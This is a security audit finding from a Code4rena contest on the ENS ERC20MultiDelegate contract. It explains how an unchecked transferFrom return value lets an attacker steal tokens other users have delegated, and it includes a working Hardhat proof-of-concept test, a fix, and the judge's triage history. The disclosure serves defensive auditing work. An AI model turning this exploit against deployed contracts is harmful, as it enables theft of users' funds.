ENS - jnforja's results

Decentralized naming for wallets, websites, & more.

General Information

Platform: Code4rena

Start Date: 05/10/2023

Pot Size: $33,050 USDC

Total HM: 1

Participants: 54

Period: 6 days

Judge: hansfriese

Id: 294

League: ETH

ENS

Findings Distribution

Researcher Performance

Rank: 9/54

Findings: 1

Award: $1,774.19

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Dravee

Also found by: J4X, Shogoki, jnforja, nirlin, peakbolt, squeaky_cactus, thekmj, xAriextz

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
sufficient quality report
duplicate-91

Awards

1774.1935 USDC - $1,774.19

External Links

Lines of code

https://github.com/code-423n4/2023-10-ens/blob/ed25379c06e42c8218eb1e80e141412496950685/contracts/ERC20MultiDelegate.sol#L160

Vulnerability details

Impact

ERC20MultiDelegate is expected to work with any ERC20-compliant tokens as long as they provide the same functionality and interface as ERC20Votes from OpenZeppelin. This makes it possible for ERC20MultiDelegate to work with a token that signals token.transferFrom failure by returning false instead of reverting, as the ERC-20 standard doesn't require token.transferFrom to throw in every case of failure.

In a situation a user A has in the past delegated tokens to user B and the method token.transferFrom is failing and returning false, e.g the functionality is paused, an attacker can delegate tokens he doesn't have to user B and then later, when token.transferFrom is back up, call delegateMulti([userB], [], amountDelegatedByUserA) to reimburse the tokens from user B and steal the tokens delegated by user A.

Proof of Concept

Add the following code to ENSToken.sol so it's easy to mock a situation token.transferFrom fails

bool public canTransferFrom = true;

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        if (canTransferFrom) {
            return ERC20.transferFrom(from, to, amount);
        }
        return false;
    }

    function setCanTransferFrom(bool _canTransferFrom) public {
        canTransferFrom = _canTransferFrom;
    }

Add the it block below to test/delegatemulti.js inside the describe block "ENS Multi Delegate"

describe("ENS Multi Delegate", () => {
...
it.only("token.transferFrom signaling failure by returning false allows for funds to be stolen", async () => {
      const [_, attacker] = await ethers.getSigners();

      const delegatorTokenAmount = await token.balanceOf(deployer);
      await token.approve(multiDelegate.address, delegatorTokenAmount);

      const delegates = [bob];
      const amounts = [delegatorTokenAmount];

      await multiDelegate.delegateMulti([], delegates, amounts);

      expect(await token.balanceOf(deployer)).to.eq(0);
      expect(await multiDelegate.balanceOf(deployer, delegates[0])).to.eq(
        amounts[0]
      );

      //Method added for POC
      //IRL token's functionalities might have been paused or something else that caused transferFrom to fail.
      token.setCanTransferFrom(false);

      expect(await token.balanceOf(attacker.address)).to.eq(0);
      //Since transferFrom will fail this won't revert
      await multiDelegate
        .connect(attacker)
        .delegateMulti([], delegates, amounts);
      expect(
        await multiDelegate.balanceOf(attacker.address, delegates[0])
      ).to.eq(amounts[0]);

      token.setCanTransferFrom(true);
      await multiDelegate
        .connect(attacker)
        .delegateMulti(delegates, [], amounts);
      expect(await token.balanceOf(attacker.address)).to.eq(
        delegatorTokenAmount
      );
    });
...
})

Tools Used

Manual Review

Check token.transferFrom return value and revert if it's false.

Assessed type

ERC20

#0 - c4-pre-sort

2023-10-12T08:05:55Z

141345 marked the issue as duplicate of #91

#1 - c4-pre-sort

2023-10-12T08:05:59Z

141345 marked the issue as sufficient quality report

#2 - c4-judge

2023-10-24T17:11:09Z

hansfriese marked the issue as satisfactory

#3 - c4-judge

2023-10-28T06:23:49Z

hansfriese marked the issue as duplicate of #90

#4 - c4-judge

2023-10-28T06:28:05Z

hansfriese marked the issue as not a duplicate

#5 - c4-judge

2023-10-28T06:28:20Z

hansfriese changed the severity to 3 (High Risk)

#6 - c4-judge

2023-10-28T06:28:28Z

hansfriese marked the issue as duplicate of #91

#7 - c4-judge

2023-10-29T10:13:32Z

hansfriese changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter